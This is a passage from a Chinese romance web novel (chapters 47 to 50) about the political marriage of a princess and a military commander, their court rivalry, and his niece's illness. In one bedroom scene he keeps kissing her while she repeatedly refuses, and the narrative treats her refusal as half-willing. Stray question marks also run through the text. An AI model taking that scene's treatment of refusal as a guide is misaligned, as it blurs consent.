店小二为难道:“实话说客倌,这大冬天的,小店什么果子也没有。” 高盛无奈,最后点了些猪肉鸡肉鱼汤之类天天吃的东西?。 这些菜酒楼里做的还不一定有公主府做的好吃,所以这一趟算是白来了。 高盛不?死心地问她:“只有那一样喜欢的?” 司妤道:“也不?是很喜欢,只是多年前?吃过,当时年纪小,觉得好吃,以后再也没找到,此时想起来就问了问。” 高盛:“能记得这么多年,怎么会?不?喜欢,你该第?二天就让你那妹妹带你去?买,当时准能买到。” 司妤静默一会?儿,摇摇头:“嬷嬷不?会?让我?出?去?的。” “为何?”高盛向来就知?道,司妤是比司婵得宠的,连司婵都能出?去?,司妤怎么会?不?行呢? 司妤轻声解释:“因为我?是长公主啊,是祥瑞,我?和?她们不?一样……” 她想起了小时候,别人?可以哭闹,可以发脾气,可以不?学这个,不?学那个,而她不?行,她是相貌绝色的长公主啊,是大兴的明珠,怎么能哭得一把鼻涕一把泪呢?怎么能不?通诗文呢?怎么能有半点不?雅致呢? 当然,更加不?能沉溺于口?腹之欲了,堂堂长公主专门去?打听一个小果子,就显得不?端庄。 高盛笑了笑,“如何不?一样?祥瑞晚上?也要起夜,还?会?说梦话,还?很会?抢被子。” 司妤被他?说得脸都红了,抿起唇来一副怒容,盯他?半晌,最后问:“我?说了什么梦话?” “没听清,今晚我?注意着,你要再说我?就好好听。”高盛说。 司妤低下头去?,想说要不?两人?还?是分?开睡吧。 这时菜上?来了,高盛在一旁看着,发现司妤喝了半碗鱼汤,夹了三筷子鸡肉,两筷子猪肉,又吃了几筷子葵菜,这些菜并在一起吃下小半碗饭,这顿就算完了。 剩下的菜全是他?一个人?的。 他?真怕自己儿子生下来瘦得像个小鸡仔。 回去?时天已见黑,同躺在一张床上?,高盛又要抱她,她抗拒挣扎了半天,最后终究是他?更执着,以“要摸摸儿子”为由?,再次抱着她睡。 然后他?又去?摸她肚子,评价道:“一天了,一点没长。” 司妤回道:“鸡生蛋才能一天一个,太尉是鸡吗?” 高盛笑了:“那么生分?做什么,阿妤该叫我?夫君啊。” 莫名其妙,他?突然就叫她阿妤,让她顿时都不?知?如何回应。 所以她假装睡觉,闭着眼什么也没说。 高盛却叫上?瘾了,又道:“阿妤,什么时候陪我?去?我?老家看看吧,我?们村头有个老张头,偷他?一点枣就要往死里追,能追出?好几个村,死老头天天骂我?长大娶不?着老婆,现在好了,我?娶到这么好看的老婆,真想让他?擦亮狗眼好好看看!” 司妤被他?说的想笑,但想起自己在装睡,只能憋着笑。 他?又“阿妤”“阿妤”的念叨几句,终于不?说了,她也就安心睡了。 她想,今晚一定记得不?要说梦话了,当然,也有可能是他?骗她,她根本没说什么梦话。 隔天,苏检请高盛喝酒,为高盛引荐几名家乡才子。 如今京城安定,朝廷广开招贤纳士之路,但凡有才学之人?,都重金相聘。 但朝廷却有两座山头,长公主和?太尉。 这两边既被人?争抢,两边也在争抢人?,一般来说,读书人?更愿意拜入长公主门下,因为长公主手上?掌握着大部分?朝中?文官职位;武将则更愿意投靠太尉,毕竟太尉掌管着天下兵马,跟着太尉,也能得到实打实的队伍、实打实的军功。 但长公主与太尉双方也自知?自身缺陷,所以长公主其实更青睐武将,而太尉也礼贤下士,因为手下读书人?少,所以但凡有读书人?拜入门下,也将得到更大的重用。 这便让人?犹豫了,拜入谁门下,颇要好好斟酌一番。 值此年关,正是走亲访友互通有无之际,更何况年后御史府将会?对天下官员进行政绩考核和?升任选调,是以这期间官员们还?须做最后的努力,并不?清闲。 今日苏检引荐的便是几名久负盛名的读书人?,高盛与之一一见过,大致了解这些人?才学。 那几人?走后,苏检与高盛又留了一会?儿。 苏检问高盛:“太尉可有所耳闻?长公主近来在筹备为皇上?选后。” “知?道一些。”高盛问:“似乎是李固言谢应臣那几家?” 这几人?都是朝中?大官,也都是名门望族。 “但属下昨日见有宫人?携礼进了李琚府上?。”苏检说。 “李琚?”高盛自然知?道此人?,他?便是原来的西?昌刺史。 此人?曾为西?昌刺史,于此地经营日久,手下有十多万精兵良将,颇有威名。朝廷决定迁都西?昌后,李琚便只能将西?昌交出?,听任朝廷之令,现在为蓝田太守,加了个奋武将军功爵,可以想象,他?心中?一定不?甘。 “你的意思是,长公主竟放弃京中?士族,要与李琚结亲?”高盛问。 “正是,李琚长女如今正好十六。”苏检说。 高盛觉得司妤这脑子也不?是一般人?,她怎么能想到和?李琚结亲呢?李琚才失西?昌,心存不?满,但如果摇身一变,成为国丈,那又有何不?可? 甚至以他?的地位,明显是用来和?西?凉军抗衡的,司妤定会?大力栽培,以让他?与自己这个太尉分?庭抗礼,这点李琚也能知?道,他?高兴还?来不?及。 高盛不?怕李琚,但也不?得不?因这事而感受到一丝威胁。 第48章 第 48 章 “那些有心进宫为后的, 比如谢家,难免失落,咱们?倒是可以结交。”高盛说。 “太尉说的正是。除此之外, 还有严相?。” 高盛看着面前酒盏, 心中微叹息:“严君寿心向朝廷。” 苏检点头道?:“毕竟是读书人,有几分腐儒, 但严相?昔日被?贬,全靠太尉慧眼识珠,全力提拔,他才有今日, 太尉可是他的伯乐,他怎会不挂念这份恩德?” 高盛未语, 苏检继续道?:“他有一子, 名严崇文, 字守锋,之前在湖州做都尉, 能征善战,颇有威名, 年底携母进京与严相?相?聚,长公主定会趁机笼络,太尉也可先一步将其纳入军中。” “严守锋我听过, 的确是将帅之才,元亨曾与其有过一面之缘, 改日我让他去结交, 探一探他的想法。”高盛说。 两人在酒楼谈了许久, 到夜深,天起北风, 愈发冷了,才道?别后离去。 高盛先行从酒楼下?来,走到街头,店小?二将他的马牵出,他正欲骑马,却见到旁边一名老汉在卖荸荠。 黑黑的一颗颗,在锅里煮好了用?炭火温着,有个妇人去买,他便舀出来一点,装在了妇人的布包里。 高盛突然想起来,这东西吃起来,好像是有那么一点点像梨?而且正好是冬天,正好是黑色小?颗的,也正好,宫中常供都是各色瓜果?,这种东西很难被?端到公主面前。 苏检正在后面送他,此时?问:“太尉,何?事?” 高盛犹豫一会儿,“没事。”说完打?马先前离去了。 苏检朝他离去方向作揖后离去,待他离开一会儿,高盛又调转马头回来了,坐在马背上,又看向那一锅荸荠。 看了一会儿,终究还是下?马到那老汉面前,问:“还剩多?少,我全要了,多?付你两文,你拿个布袋给我装着。” 老汉欣喜,连忙给他装煮荸荠,装了满满一布袋,算下?来差不多?有三海碗。 高盛付了钱,提着那袋子荸荠骑上马回去了。 公主府内,司妤已沐浴好,正在梳头。 高盛进来,将那布袋提到她眼前,问:“猜这是什么?” 司妤看一眼,摇摇头:“我怎知是什么?” 高盛从里面拿出一颗来,放在了梳妆桌上。 司妤看着那黑黑的荸荠,顿时?一惊:“这不是……”说着拿起来,看了一圈,欣喜地抬头:“就是这个!” 高盛道?:“这个叫荸荠,长田里的,它其实不是黑色,原本也不软,更没人说它像梨。” 司妤将荸荠给如缨:“给我去削一削,我要尝尝。” 如缨犹豫道?:“公主方才已经净好牙了,都要去床上了。” 她这么一说,司妤倒真犹豫起来。 高盛看不下?去,到一旁柜中去拿了把匕首来,削了一颗荸荠给她。 她接过,吃了一颗,随后笑道?:“就是这个,真是这个……” 高盛说道?:“这东西种的人少,没有蜜橘葡萄那些瓜果?甜,也不裹腹,就能当个零嘴,江南那些地方多?,京城少,平时?也不怎么见人卖。” 说完,又替她削了一个。 司妤接过,正要吃,看了看他手中匕首,问他:“你这匕首,是干嘛用?的?” 高盛愣了愣,半晌才道?:“擦过了吧。” 他竟然还加了一个“吧”,而且都不正面回答她的问题。 司妤顿时?吃不下?去了,鬼知道?他的匕首用?来干嘛过,难怪上面有股腥锈味。 如缨连忙道?:“我去拿刨刀来。” 说着就去了,没一会儿拿来把削皮的刨刀,又拿了个碗,一连帮她削出四五个荸荠来。 司妤一连吃了两个,加上最初高盛削的那个,已经三个了。 她看着碗里剩下?的荸荠,犹豫一番,拿了一个,看了一会儿,又放进去。 高盛已经脱了靴子要去洗漱,看她这样,问:“怎么了?这么多?全是你的,你要给谁留着?” 她摇摇头:“算了吧,这么晚了,也不好吃太多?。” 高盛愣了,看看她的腰,现在算是知道?她怎么这么瘦了,原来半碗饭还算多?的,只是三个荸荠,这一袋他都能吃完,不,连小?桃都能吃完。 他道?:“过几天就没这个了,再吃要等一年,当然,也不知那时?候有没有人卖。” 末了又补充,“这个要是放凉了,你又嫌凉,再热一次,那自?然没现在好吃了。” 司妤被?他说动了心,第一次在成年后,理智被?口腹之欲战胜,又吃了一个。 真好吃。 反正过几天就没了,再吃还要等一年,要不然再吃两个吧。 对了,她还怀孕呢,说不定是肚里的孩子想吃,再吃两个也行。 于?是等高盛从浴房出来时?,司妤才将碗放下?,并?让如缨去将剩下?的荸荠放好,明天一早再热了吃。 如缨拿了荸荠下?去,她则心满意足地上床去,连与高盛对视都带着笑容。 高盛问她:“好吃么?和小时候吃到的一样?” 司妤点头,乖巧地回答:“一样。” 高盛也高兴了,倒很少看她脸上有这样单纯的笑容。 两人在床上躺下?,他仍去抱她,不知是她习惯了,还是因为“吃人的嘴软”,她犹豫一下?,没再推他。 但怎么睡怎么不舒服。 亵衣有点紧。 不是肚子紧,而是胸紧。 原本想就这样睡了,但睡了一会儿就是不舒服,她于?是推开他,从床上起身。 高盛问她:“怎么了?” 她回答:“我去换一身衣服。” 高盛很奇怪,深更半夜,她还要换衣服,但知道?她讲究多?,便没多?理会。 司妤自?己拿了好几件亵衣,去寝房后面的浴房里换,但试了两件,都觉得有点小?。 都不知道?换哪件了,让她有些心烦,正要叫如缨过来,一抬眼,却见高盛站在门口。 看着她问:“你做什么呢?” 司妤连忙去拿自?己的寝衣,手忙脚乱间?穿不上,只能拿它挡在胸前,怒道?:“你看什么,转过去!” 高盛没转,反笑:“你这样子,总让我觉得我还没碰过你。” 司妤生气,他也不逗她了,正色道?:“这儿冷,你还要在这儿待到多?久?就算要挑一件好的,不能去床上挑?” 这儿确实冷,因为碳盆在寝房里。 国家连年争战,宫室才被?烧,就算是公主府也节衣缩食,她没让人将四面八方都摆上碳盆,沐浴完后,就将碳盆都拿到寝房了。 高盛一边说着,一边过来将她旁边衣架上的亵衣一把抓了,拿去了床上,司妤无奈,只好跟着他去了寝房,回到床上。 他问:“大半夜的,做什么呢?” 司妤低头道?:“衣服都小?了。” “小?了吗?”他一边说着,一边看向她肩下?,可惜她早已拿被?子裹住了。 司妤解释:“大概是怀孕。” 高盛很奇怪,他以为怀孕是肚子变大…… 司妤朝他道?:“你把衣服拿出来。” 高盛便将手里抓着的那一把亵衣放下?,红的,绿的,黄的,白的,绣荷花,绣梅花,绣鸳鸯,绣牡丹……真好看。 司妤一只手从被?子里伸出来,将几件亵衣摊开来比,想挑一件大一点的。 但因为一只手捏着被?子,只有一只手能用?,导致十分不方便,她便道?:“你先转过去,别看。” 高盛看她一眼,乖乖转了过去。 却道?:“其实,不穿不就行了吗?” 司妤没理他,只是后面传来窸窸窣窣的声音。 他想,自?己都专门给她带荸荠回来了,为什么她要给他这种折磨呢?他真怕自?己这么被?撩着,又这么憋着,落下?什么病。 司妤没怎么自?己穿过衣服,特别是亵衣,许多?带子,所以动作也不太快,就在她放下?了被?子,又放下?了寝衣,穿上亵衣,还在努力系亵衣绳子时?,他又回过头来了。 她再次拿被?子挡住,质问他:“你做什么?” “要不然,我帮你吧。”他说。 “不要,你转过去。” “我帮你吧。”他一边说着,一边过来,脸色无比诚恳。 司妤犹豫了,主要是已经到了她身后,她现在也没穿衣服,这样如果?和他挣扎起来会十分难看,便松了手,默认他帮自?己系。 同在一张床上,这么近的距离,她还穿得这么少,这让她紧张又尴尬,心里祈祷他能快点。 但下?一刻,他一把将她抱住:“我想亲亲你。” “你别……” “只是亲一亲。”一边说着,一边已经扯去她亵衣,亲向她脖子。 她一边推拒挣扎,一边提醒,“你记着还有孩子……” 回答她的是他吻向她的唇,随后道?:“确实大了……” 司妤觉得自?己的身体软了下?来,意志也软了下?来,其实这几晚,她并?不如自?己表现得那么毫无感觉。 不知是她原本就想在他身上找安慰,还是因为怀孕一切都变得不一样,总之,她比以往多?出许多?欲念,但好在除了她自?己,他无从得知,而且她也能控制住。 可是他竟来抱住她,来亲她,开始让她无力抗拒起来。 最后她只能用?残存的意志最后说出拒绝的话:“真的不行……” 他是在意孩子的,也没那么莽撞,终将话听了进去,却还是一边亲着她,一边道?:“我不碰你,只是亲亲你……” 然后他的亲吻便往下?蔓延。 她也不曾想到,他的“亲亲”这么可怕。 她一遍遍说“不要”,手抓到他发间?想推他,但连自?己都觉得抗拒得十分无力,好似在撒娇,又好像欲拒还迎,最后她不敢往他那边一眼,难以承受地长长地仰起脖子,浑身都颤抖着嘤嘤哭泣。 当他的脸再出现在她眼前时?,她转过头去,紧紧裹住被?子,将头半埋在了被?子间?。 他又从后面抱住她,轻声道?:“公主可真好伺候,没把我儿子抖出问题吧?” 他是在笑她,几乎他的唇一碰就颤抖,她没回话,又将脸往被?子里埋,拿胳膊肘撞了撞他。 但他那铜墙铁壁般的身躯哪是她能撞得动的,这一撞只是让他笑了笑。 他在她耳边道?:“要不然我明天带你去桂花巷吧,那儿一条街都是零嘴小?食,很多?东西也就这年节有,说不定能找到其他你喜欢吃的。” “专门去找零嘴?”司妤觉得这种行为有点不务正业,好像不是她该做的。 “不行么?”他问,“还是你明天有事?” 两人都住在一处,他知道?她大概在忙些什么,这几日确实没什么事。 她不回话,他又道?:“让你在家走走,你说院子里无聊,外面不无聊,你又不去,觉得自?己是祥瑞,天命之女是不是?” 她实在受不了他这般调侃,无奈回答:“我去就是了。” 在心里算着,还有几天,待元宵之后就要开朝会了,再怎么不务正业也没几天了,还不至于?太荒唐。 她答应了,他就满意了,侧身对着她,两人肌肤完全相?贴,将她整个人包裹在怀中。 第49章 第 49 章 第二日司妤梳妆, 如绵问司妤:“要不然,贴张花子吧,买了?这么多还没贴一张呢。” 司妤看了?看那花子, 点头, 挑了?张蝴蝶花纹,贴在额头, 端庄中多了?几分?灵动?。 上午去行宫看了?皇上,又与?太后商议了?一番皇上的婚事,看了?一会儿书,便?到下午了?, 高盛正好从外回来,还记得昨天约好的, 与?她一同乘车去桂花巷。 为了?平稳, 两人又乘的牛车, 高盛陪她坐在车内,整个人半坐半躺, 一副慵懒模样,司妤自然还是正襟危坐。 高盛一边半躺着, 一边看她。 司妤被看得不耐烦了?,问他:“你看什么?” “看我夫人啊,不行吗?”他随口回答。 司妤扭开脸, 不与?他对视,但心里又浮起涟漪来, 带着一种?按捺不住的欢喜……那种?感觉, 就好像十多岁的少?女遇到拂动?心弦的少?年郎一样。 就在此时, 牛车突然一震,竟像不知被什么撞了?一下, 让司妤一惊。 高盛连忙扶了?她一把,随即起身看向外面,“何事?” 外面有护卫道:“主人,刚刚有辆马车抢道,将车撞了?一下,属下这就去找他。” 说着就骑马去了?前面。 护卫迅速追上前边的马车,可那马车猖狂,听他叫“停下”也不理睬,护卫急了?,一把抽刀佩刀抵到车夫身前才让他将马车停下。 车夫旁的小厮怒道:“怎么,这是不要命了??” 护卫没管他,朝车内道:“谁家马车,为何抢道,冲撞我家夫人?” 车内没回话,小厮道:“不慎撞了?,又如何?你家夫人这就伤了??” 这小厮语气竟如此嚣张,护卫道:“不管我家夫人伤没伤,你家主人得下车赔礼道歉,至于此事如何能了?,得看我家主人的意思。” 那小厮笑了?:“哪家的夫人啊,这么嚣张?怎地?,不识字么,看看这是谁家的马车!” 马车上悬着灯笼,护卫却头也没抬。 偌大的京城,还有谁能大得过长?公主与?太尉?就算是天子来了?也不行! 他冷笑道:“是吗,那不妨报上名来,让我知道是谁家的。” 话音落,里面出现一只刀柄,马车内的人执刀柄将车帘撩开,看向外面,护卫与?他对视。 是个二十上下的年轻男人,脸色白净,锦衣华服,眉眼间却有几分?杀气,像出身优越的世家子弟,但也能看出来身手?不凡,杀过人。 护卫与?他对视。 小厮道:“公子,小的这就将此人轰走。” 车内人却道:“你太无礼了?,撞了?人还不知错,如此嚣张跋扈,回去领三十杖吧。” 那小厮一点错愕,车内人只是看向护卫道:“抱歉,我家下人才从小地?方过来,不懂礼数,言语不敬,望阁下包涵。夫人在何处,我下车去赔罪。” 护卫没想到下人如此无礼,主人却又如此恭敬,不由奇怪,暂且收了?刀,回道:“在后面牛车上。” 车内人当真出了?马车厢,小厮连忙蹲下身让他踩着背下来,心里却奇怪,不知主人为什么这么恭敬。 那人随护卫走到后面的牛车前,朝里面躬身道:“在下湖州严崇文?,此去普渡寺接母亲,仆从心急,抢了?夫人车道,在下特?地?前来赔罪,望夫人海涵,不知夫人府邸,等在下接了?母亲,愿携礼前往再?致歉意。” 车内高盛撩起车帘看向外面,看他一眼,问:“你是严君寿的公子?” 京城有几人能直呼严淮的字呢?更何况高盛的身形面容也不是什么秘密,严崇文?看着他,神色一愣,随后立刻道:“原来是太尉!”说着就要跪下,高盛道:“不必。” 严崇文?连忙道:“惊扰太尉,实在是小人无礼,望太尉责罚。” “罢了?,以后当心就好。”高盛说。 严崇文?道:“多谢太尉,刚才护卫说夫人,小人万没想到竟是太尉。” 此时又一人将车帘撩起,朝他道:“严守锋。” 严崇文?愣了?,随后很快低头,“拜见长?公主。” 司妤道:“严夫人既来了?京城,十五元宵便?一同去赴宫宴吧。” “是,臣回去就转告母亲,谢长?公主。” 司妤放下了?帘子,高盛也放下了?。 严崇文?退到一旁,让牛车过去了?。 待他们远去,小厮才过来,朝严崇文?忐忑道:“太险了?,没想到他们竟是长?公主和太尉,怎么却……却乘了?个这车,也没带多少?人。” 严崇文?久久看着牛车离去的方向没挪目,小厮又喊了?他一声他才回过神来,朝小厮道:“眼睛白长?了?,你没看那护卫腰间别着个金腰牌,什么地?方,能做得起那样的腰牌?又有什么地?方,能给一个护卫发放钢刀?” 小厮回忆,却根本不记得那护卫是不是别了?腰牌,刀倒是还记得,闪着银光,还真是钢刀。 “原来如此,公子是早就认出来了?”他就想公子怎么突然就变性了?? 严崇文?已经?往马车上走,他上了?马车,小厮同车夫道:“赶紧的,万春楼这会儿曲子估计都弹起来了。” 他们今日是特?地?去万春楼的,听说京城的姑娘都?多才多艺,很多还是官宦人家出来的,不知与?湖州的比怎么样。 但车夫才要挥动?缰绳,后面严崇文?却道:“算了?,不去了?,回吧。” 小厮奇怪地?看向后方:“为何?今日正好老?爷不在家,等明日又不行了?。” 严崇文?看着那牛车远去的方向,一时失神,沉默不语。 从前他只知长?公主美貌,却不知道竟真的如此美貌。 那种?美貌是想象不出来的,因为你没见过,你怎能想到?待见了?,所有书上、梦里、伟说中关于美人的形容才有了?具象的模样。 所谓倾国倾城,国色天香,就是她那样吧。不只是面容,还有身段,哪怕只是坐着,都?能看出那副身体的美妙。 他深深吸了?口气,回小厮道:“庸脂俗粉,没什么好看的。” 说着放下了?帘子。 高盛当日能把控京师,不过是时也运也,正好那时京城无人,正好管洪吴弼等人是无能之?辈,若此等机遇到了?他手?上,那此刻的公主便?是坐在他身旁了?。 他伸出手?抚向对面,司妤在那牛车里所坐的位置,仿佛她不是坐在早已远去的牛车里,而是坐在自己面前。 那样的美人,不知脱了?衣服是什么模样呢? 不知进去了?,又是什么滋味呢? 严崇文?原本还有回湖州的打算,此时已然决定留在京城,不走了?。 …… 此时的牛车内,司妤与?高盛都?没说话。 高盛那么狂妄的人,对严崇文?倒和颜悦色起来。 司妤这般身份,竟主动?和严崇文?说话,一开口就叫出了?人家的字。 两人都?知道对方心思,就是想将严崇文?笼络进自己的阵营,以此来笼络严淮。 没错,这原本就是他们的立场与?责任,司妤背后是司家朝廷,高盛背后是跟着他出生入死的万千西凉士兵,他们谁也不想成?为俎上鱼肉。 于是一时间,待会儿去买零嘴小食的约定竟有些尴尬起来,昨晚两人的亲密也显得像是逢场作戏。 这便?导致,之?后的闲逛也成?了?不走心的敷衍,天正好又起了?风,下起雪,司妤随便?转了?几圈,和他道:“算了?,有些冷,还是回去吧。” 说完就已往牛车边上走。 高盛没阻止,待走了?几步,又忍不住牵起她的手?,捏在手?心道:“你的手?怎么这么冷?我见他们有人用那种?手?炉,下次你也拿着吧。” 司妤点点头。 他仍牵着她的手?,不顾自己的手?冷,将她手?牢牢握在手?心。 司妤明白,此时他对自己好,应是真心的,因为他就是个会好好对家人妻小的人,但他更想要的,是权力,是天下。 今日严崇文?出现得很好,提醒她记起两人的身份,不能在这种?新婚甜蜜中沉溺。 她明白,女人更容易沉溺进爱情的幻境里,男人往往能随时抽身。 而这几天,她已经?过于大意了?。 这一晚两人的话显得特?别少?,下午的雪到天黑还没停,两人仍是挨在一起睡着。 直到第二天推开窗,天地?一片白茫茫,却有曙光从东方升起。 高盛问司妤:“你们读书人,是不是喜欢赏梅赏雪还作点诗什么的,今日要不要去看梅花?” 司妤脸上露出一丝温和的笑:“不了?,今日有些事要忙,就不出去了?。” 高盛认识这种?笑,她平常要以端庄温婉示人,便?是这种?笑,假得很。 他也就不讨这没趣了?,和她道:“那行,你忙着吧,我出去了?。” 司妤“嗯”了?一声,高盛去忙自己的了?。 他自然知道她在别扭,因为他和她抢严崇文?,或者说是严淮。 但这不是应该的么,当初严淮可是被她爹贬去地?方的,不是他召严淮进京,严淮什么也不是。 现在严淮露了?些做丞相的本事,她倒也稀罕起来。 有些时候他也会想,将来会怎样呢? 反正无论如何,他就算赢了?也不会杀她,他舍不得,但她可就不一定了?。 他不禁摸了?摸自己脖子上那道细痕。 算了?,如今也只能走一步看一步,下完雪,天似乎更冷了?。 高盛出去一趟就回了?太尉府,一时兴起往后院去了?一趟,却闻见了?药味。 一问,才知小桃病了?,竟已烧了?两三日。 他赶紧去小桃房中,小桃正躺在床上昏睡着,脸上红红的,一摸烫得吓人。 他问丫鬟:“烧了?这么久,大夫怎么说的?喝了?几天药了??” 丫鬟连忙道:“昨日才请大夫开始喝的药,大夫就说是风寒……” “不是烧了?两三日吗?怎么昨日才请大夫?” 丫鬟回答:“最初没这么严重?,县君说不用请大夫,睡一睡就好,结果……没好,倒严重?了?。” 高盛心焦地?看着小桃,又问:“请的谁?” “就后街那个广济堂的张大夫……”丫鬟小声回答。 “那么小个药堂。”高盛很快吩咐:“去请前街的陈医士,就说是我的令。” 医士是给宫中贵人诊病的,外人若无皇帝特?许,不可找医士看病,医士愿意也不能看,须随时听侯宫中差遣,但高盛向来不将这种?规矩放在眼中,他吩咐了?,谁敢不来? 丫鬟赶紧去吩咐了?,床上的小桃打起精神开口道:“表叔,别那么麻烦,家里有药在吃着。” “吃着怎么还不好?”高盛看她的样子,担心道:“为何早不和我说?” 风寒是小病,却也不可大意,特?别是遇到高烧,年迈体弱的便?熬不过去。 小桃在床上道:“本来就是小事。” 一旁丫鬟低声回答:“县君说太尉新婚,别去打扰。” 高盛这时想起来,他和司妤成?婚后住进了?公主府,这里便?只有小桃一人。若是这样算,他与?小桃就成?了?两家人,小桃这种?性格又怎么会主动?找他? 他一时觉得愧疚,将她接过来,却也没有怎么照顾她。 医士没一会儿就到了?,给小桃看过诊,又看了?原来的药方,增减了?一些药,让马上换药煎了?给她服下,傍晚喝一碗,隔两个时辰再?喝一晚,看明天能否退烧。 小桃已经?没什么气力了?,烧得难受,没一会儿又昏睡过去。 高盛有些担心,他想起自己的娘亲是在自己从军那一年病逝的,他回去时娘亲坟上的草都?长?半人高了?;父亲呢,过几年也没了?,十三岁的弟弟办完丧事就来军中找他了?,他也没和父亲见到最后一面。 他的亲人,要么是在他不知道的时候就没了?,要么是他亲眼看着丧命的,他见惯了?生死,也许心慢慢的硬了?许多,但此时看着小桃,他还是会恐惧,会难受,怕这最后的亲人也没了?。 …… 夜渐渐深沉,司妤放下了?书,吹灭了?书桌上的蜡烛。 高盛还是没回来,不知他去了?哪里,太尉府,或是什么万春楼,再?或是别的地?方。 她十分?平静地?上了?床,盖上被子自己睡觉。 但心里又忍不住想起他来。 他是因为她说不出去看梅花,生气了?? 可这不像他。 或者单纯就是,突然又不想哄她了?,就像他突然来认错,突然要陪她一样。 心中的确有些失落,但也不是受不了?的地?步,就这样很好,若明日他回来,就和他说以后分?房睡吧。 第50章 第 50 章 高盛在太尉府待到了第二天。 一早醒来, 小桃的烧退了大半,继续服药,到中午就好很多了, 也有了胃口, 喝了一大碗粥。 高盛这才放心了,交待丫鬟好好照顾, 自己?回?到公主府。 到房中,如缨在外面?做针线活,见?了他连忙起身?,随后小声道:“公主刚刚睡下了。” 高盛的脚步放慢了, 到里?面?一看,果然司妤就在榻上午睡。 他问:“怎么?今日困了?” 他记得前两天也没见?她午睡呀? 如缨低声回?:“昨夜似乎没睡好。” 就这么?两句话的功夫, 司妤已经被吵醒了, 又?也许是并没有睡着, 扭头过来将高盛淡淡看了眼,又?翻过身?去背朝他睡了。 高盛见?了, 跑去坐在了榻边。 司妤才睡迷糊,又?被吵醒, 此?时他竟过来榻边坐着,让她心神不宁,更清醒了, 语气?便有些不好:“你坐这里?做什么??” 高盛见?她好似很清醒,犹豫片刻道:“我有事和你商量。” 司妤并不想理, 但闭着眼睛又?躺了一会儿, 思绪渐渐清明下来, 也渐渐平静,这才问:“太尉有何?事?” 见?她叫得这么?生疏, 高盛又?犹豫了,过一会儿才道:“如果我想让小桃搬来这边,你能同意么??” 司妤没想到是这事,她问:“为什么??” “昨日我回?去,才知道她病了,却没和我说,又?随便找了个?大夫,一连发烧好几天,今天上午才退。我不放心她,加上她一个?姑娘家,一个?人住在那里?,身?边也没个?长?辈,说出去又?是名声不好,不好议亲不是。 “我就想,再怎么?说你也算她婶婶了,要不然就让她搬过来,你派个?宫里?的嬷嬷,照顾她,教?教?她,有什么?事让那嬷嬷来禀告我,我也能顾上她一些。” 司妤问:“你昨日去看她了?她病得严重?” “嗯,两三天高烧不止,粒米未进,吓得我在旁边守了一夜,眼下已差不多好了。”高盛说。 司妤心中那阵郁结突然就散了,她转过头来,果然看到高盛面?容有些憔悴,眼中有几缕红血丝。 “怎么?样?能同意么??”他问。 司妤回?道:“你自己?决定就好,也不是什么?大事,我让如缨去办。” “那就说定了,等她痊愈了就搬过来。”高盛高兴道。 “嗯。” 她仍躺着,他看了她一会儿,叹声道:“看来你是真不在意我喝不喝花酒,养不养女人啊,一夜不回?来,你连问也不问一句。” 司妤抿了抿唇没看他,轻声道:“有什么?好问的……你愿去哪里?就去哪里?。” 末了又?道:“你也没让人过来说一声。” “我那不是忘了么??”他说。 司妤躺着没出声。 他却突然想起来:“那我……是不是得给你些钱?不能让你白养我侄女。” 司妤没想到他会提起这个?,一时没出声。 他们的私产自然是分开?的,也从没提起过这个?。 其实她并没有太多钱,因为连年?争战,旧都还被安朝烈黄承训等人劫掠一通,哪里?有钱? 高盛那边她不知道,但她在太尉府住过,知道他吃穿用度比宫中更节约,他有那一大批西凉军要养着,自然不会有钱到哪里?去。 这时他说:“回?头我把我的俸银给你管吧,养我侄女,还有我儿子。” 司妤笑了:“这几个?人,我还养得起。” 高盛也上榻了,和她道:“你往里?面?去一点,我也睡会儿。” 司妤往里?面?让了让。 坐榻是硬的,也窄一些,不如床上舒服,他却便要挤过来。 躺了一会儿,他突然道:“我再和你商量个?事怎么?样?” “什么??” “你说我怎么?给小桃找个?夫家?你有看得上的人么??” 司妤转过头来看他,她真没想到他还能问她这事。 这感觉,就像他们只是对普通的夫妻,所?以关于侄女的婚事,他要来问她。 “你自己?不认识人么??”她问。 高盛叹息:“我看上的她看不上啊,你知道她喜欢什么?样的。” 司妤知道,宋之洵那样的世家公子。 他的意思是,他要找个?小桃自己?喜欢的,而不考虑别的,譬如用小桃去联姻之类。 不知为何?,她又?觉得他对小桃真好。 “我一时也想不出什么?人来,十五元宵宫中不是有盛宴么?,百官都会参加,到时候可以看看有没有品貌不错的。”司妤说。 “这倒是,我竟忘了。”高盛随口道:“要没这么多破事,我正经娶了你,你也是个?贤妻。” 司妤扭过脸不说话。 如果没这些事,如果他是朝中将军,她是公主,就普普通通嫁给了他,他们会怎样呢? 她竟然觉得也不错,他是个?对亲人很好,又?很靠得住的男人,过日子应该是可以的。 只是又?想起来,在她还是少女时,喜欢的好像也是宋之洵那样的,如果那时候将高盛和宋之洵两人给她选,她一定想也不想就选宋之洵。 因为宋之洵懂诗赋,懂琴棋,懂书画,而他却什么?都不懂,她都不知道和他在一起说什么?。 所?以,要没这么?多事,她也不会嫁给他。 高盛已经在她身?旁睡着了。 这榻上有他的加入暖和了不少,她明明打算躺一会儿就起来的,此?时躺了一会儿,却又?不想起来了,也闭上眼睛重新睡了过去。 过两天,王小桃搬过来了。 搬来第一件事,就是来见?过司妤。 她到司妤面?前向她行礼,随后拿出一叠衣物,略有忐忑道:“公主,这是我闲来无事,给小公子做的一些衣服鞋子……我知道公主身?边绣娘定是厉害的,我这什么?也不算,只是我一番心意,小公子到时候穿不穿都好。” 因为时候还早,司妤其实还没吩咐人准备什么?,此?时见?到一堆小孩的衣服,不禁有些异样的感觉,她让如缨接过衣物递到她面?前,放在腿上看了看,两张襁褓,两身?小衣服和一双小小的鞋子,这一刻,她对肚子里?的胎儿突然有了些感觉,泛出一些母亲的情绪来。 这些衣物面?料都用得很好,襁褓和鞋子竟都是用的云香缎,这是蜀地贡品,质地柔软却又?颜色艳丽,一直被宫中人喜爱。 但因为民生凋敝,宫里?也没多少,小桃手上的一定是高盛给的,那只能更少,她这个?是明艳的鹅黄色,十多岁的少女,若是做一身?裙子穿在身?上,不定有多娇俏,她却拿来给她腹中的孩子做了襁褓。 司妤自小不缺衣食,从来只有她赏别人的份,没有别人送她的,此?时看清小桃这份心意,不禁也感动。 她道:“这云香缎你拿来做衣服多好,何?必给小孩子。” 小桃连忙回?:“我不爱穿颜色鲜艳的,也不习惯,这料子舒服,给小孩子最好。” 